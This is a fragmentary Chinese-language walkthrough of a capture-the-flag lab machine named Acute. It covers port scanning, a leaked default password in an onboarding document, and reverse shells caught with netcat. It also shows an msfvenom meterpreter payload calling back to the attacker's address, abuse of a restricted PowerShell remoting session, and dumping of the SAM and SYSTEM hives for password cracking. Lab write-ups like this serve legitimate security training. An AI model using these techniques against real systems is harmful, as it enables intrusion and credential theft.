┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- --min-rate=1000010.10.11.145 -oG allports -Pn [sudo] kali 的密码： Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-16 18:54 CST Nmap scan report for10.10.11.145 Host is up (1.9s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE 443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 34.02 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p443 -sC -sV 10.10.11.145 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-16 18:54 CST Nmap scan report for10.10.11.145 Host is up (0.31s latency).
PORT STATE SERVICE VERSION 443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_ssl-date: 2024-04-16T02:53:29+00:00; -8h03m11s from scanner time. | ssl-cert: Subject: commonName=atsserver.acute.local | Subject Alternative Name: DNS:atsserver.acute.local, DNS:atsserver | Not valid before: 2022-01-06T06:34:58 |_Not valid after: 2030-01-04T06:34:58 | tls-alpn: |_ http/1.1 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results: |_clock-skew: -8h03m11s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 103.37 seconds
4、把上面端口扫描发现的域名地址，本地做一下绑定
1 2 3
┌──(kali㉿offsec)-[~/Desktop] └─$ echo "10.10.11.145 atsserver.acute.local acute.local" | sudo tee -a /etc/hosts 10.10.11.145 atsserver.acute.local acute.local
5、开放访问下网站看看
https://10.10.11.145/ https://acute.local/
https://atsserver.acute.local/
6、经过阅读网站信息，发现了一个docx的文档材料，且在关于页面上还发现了一些人名的介绍
https://atsserver.acute.local/about.html
1 2 3 4 5
Who we work with 我们的合作伙伴
Acute Health work with healthcare providers, councils and NHS units in the UK, training over 10,000 nurses, managers and healthcare workers every year. Some of our more established team members have been included for multiple awards, these members include Aileen Wallace, Charlotte Hall, Evan Davies, Ieuan Monks, Joshua Morgan, and Lois Hopkins. Each of whom have come away with special accolades from the Healthcare community. Acute Health与英国的医疗服务提供者，议会和NHS单位合作，每年培训10，000多名护士，管理人员和医疗保健工作者。我们的一些更成熟的团队成员已被列入多个奖项，这些成员包括艾琳华莱士，夏洛特霍尔，埃文戴维斯，伊恩蒙克斯，约书亚摩根，和洛伊斯霍普金斯。他们中的每一个人都获得了医疗保健界的特别赞誉。
Arrange for the new starter to receive a demonstration on using IT tools which may include MUSE, myJob and Google accounts. Walk the new starter through the password change policy, they will need to change it from the default Password1!. Not all staff are changing these so please be sure to run through this.
Aileen Wallace Charlotte Hall Evan Davies Ieuan Monks Joshua Morgan Lois Hopkins
9、但是还是缺少一些信息，继续查看文档内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Arrange initial probation meeting between Probationer, Head of Department and Probation Adviser.
Run through the new PSWA to highlight the restrictions set on the sessions named dc_manage.
The probation plan should be completed within a month of the start date and should include a requirement to register with LETs re: rate to gain within 3 months of starting. Fellowship of the Higher Education Academy (FHEA).
┌──(kali㉿offsec)-[~/Desktop] └─$ cewl https://atsserver.acute.local/about.html -w userlist.txt CeWL 6.1 (Max Length) Robin Wood(robin@digi.ninja)(https://digi.ninja/) ┌──(kali㉿offsec)-[~/Desktop] └─$ file userlist.txt userlist.txt: ASCII text ┌──(kali㉿offsec)-[~/Desktop] └─$ cat userlist.txt and Training training for the Health healthcare Acute courses Face Care are File directory not found .....
┌──(kali㉿offsec)-[~/Downloads] └─$ exiftool ./New_Starter_CheckList_v7.docx ExifTool Version Number : 12.70 File Name : New_Starter_CheckList_v7.docx Directory : . File Size : 35 kB File Modification Date/Time : 2024:04:1704:49:43+08:00 File Access Date/Time : 2024:04:1704:50:11+08:00 File Inode Change Date/Time : 2024:04:1704:49:58+08:00 File Permissions : -rw-r--r-- File Type : DOCX File Type Extension : docx MIME Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document Zip Required Version : 20 Zip Bit Flag : 0x0006 Zip Compression : Deflated Zip Modify Date : 1980:01:0100:00:00 Zip CRC : 0x079b7eb2 Zip Compressed Size : 428 Zip Uncompressed Size : 2527 Zip File Name : [Content_Types].xml Creator : FCastle Description : Created on Acute-PC01 Last Modified By : Daniel Revision Number : 8 Last Printed : 2021:01:0415:54:00Z Create Date : 2021:12:0814:21:00Z Modify Date : 2021:12:2200:39:00Z Template : Normal.dotm Total Edit Time : 2.6 hours Pages : 3 Words : 886 Characters : 5055 Application : Microsoft Office Word Doc Security : None Lines : 42 Paragraphs : 11 Scale Crop : No Heading Pairs : Title, 1 Titles Of Parts : Company : University of Marvel Links Up To Date : No Characters With Spaces : 5930 Shared Doc : No Hyperlinks Changed : No App Version : 16.0000
┌──(kali㉿offsec)-[~/Desktop] └─$ rlwrap nc -lnvp 443 listening on [any] 443 ... connect to [10.10.14.38] from (UNKNOWN) [10.10.11.145] 49835 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
------------------------------------------------------------------------------- Administrator DefaultAccount Guest Natasha WDAGUtilityAccount The command completed with one or more errors.
PS C:\Users\edavies\Documents> ls C:/Users ls C:/Users
PS C:\Users\edavies\Documents> net user edavies net user edavies The user name could not be found.
More help is available by typing NET HELPMSG 2221.
PS C:\Users\edavies\Documents> net user jmorgan net user jmorgan The user name could not be found.
More help is available by typing NET HELPMSG 2221.
PS C:\Users\edavies\Documents> net user Natasha net user Natasha User name Natasha Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never
Password last set21/12/202110:23:01 Password expires Never Password changeable 22/12/202110:23:01 Password required No User may change password Yes
Workstations allowed All Logon script User profile Home directory Last logon 21/12/202113:39:13
Logon hours allowed All
Local Group Memberships Global Group memberships *None The command completed successfully.
PS C:\Users\edavies\Documents>
通过这里，可能应该是需要横向到 Natasha 用户
PS C:\Users\edavies\Documents> cd C:/ cd C:/ PS C:\> ls ls
Directory: C:\
Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 07/12/201909:14 PerfLogs d-r--- 06/12/202111:06 Program Files d-r--- 07/12/202112:43 Program Files(x86) d-r--- 21/12/2021 22:50 Users d----- 31/01/2022 00:29 Utils d----- 16/12/2021 01:23 Windows
PS C:\> cd Utils cd Utils PS C:\Utils> ls ls PS C:\Utils> ls -la ls -la Get-ChildItem : A parameter cannot be found that matches parameter name 'la'. At line:1 char:4 + ls -la + ~~~ + CategoryInfo : InvalidArgument: (:) [Get-ChildItem], ParameterBindingException + FullyQualifiedErrorId : NamedParameterNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand
┌──(kali㉿offsec)-[~/Desktop] └─$ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=tun0 LPORT=53 -f exe -o shell.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 200774 bytes Final size of exe file: 207360 bytes Saved as: shell.exe
┌──(kali㉿offsec)-[~/Desktop] └─$ msfconsole msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 10.10.14.38 LHOST => 10.10.14.38 msf6 exploit(multi/handler) > set LPORT 53 LPORT => 53 msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.38:53 [*] Sending stage (200774 bytes) to 10.10.11.145 [*] Meterpreter session 1 opened (10.10.14.38:53 -> 10.10.11.145:49865) at 2024-04-1706:40:16 +0800
PS C:\Utils> net localgroup Administrators net localgroup Administrators Alias name Administrators Comment Administrators have complete and unrestricted access to the computer/domain
Members
------------------------------------------------------------------------------- ACUTE\Domain Admins ACUTE\jmorgan Administrator The command completed successfully.
PS C:\Utils> Invoke-Command -ScriptBlock { C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred Invoke-Command -ScriptBlock { C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred The term 'C:\utils\nc.exe' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. + CategoryInfo : ObjectNotFound: (C:\utils\nc.exe:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException + PSComputerName : ATSSERVER
┌──(kali㉿offsec)-[~/Desktop] └─$ rlwrap nc -lnvp 4444 listening on [any] 4444 ... connect to [10.10.14.38] from (UNKNOWN) [10.10.11.145] 49842 Microsoft Windows [Version 10.0.19044.1466] (c) Microsoft Corporation. All rights reserved.
PS C:\Utils> reg save HKLM\sam sam.bak reg save HKLM\sam sam.bak The operation completed successfully. PS C:\Utils> reg save HKLM\system sys.bak reg save HKLM\system sys.bak The operation completed successfully. PS C:\Utils> ls ls
ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits.
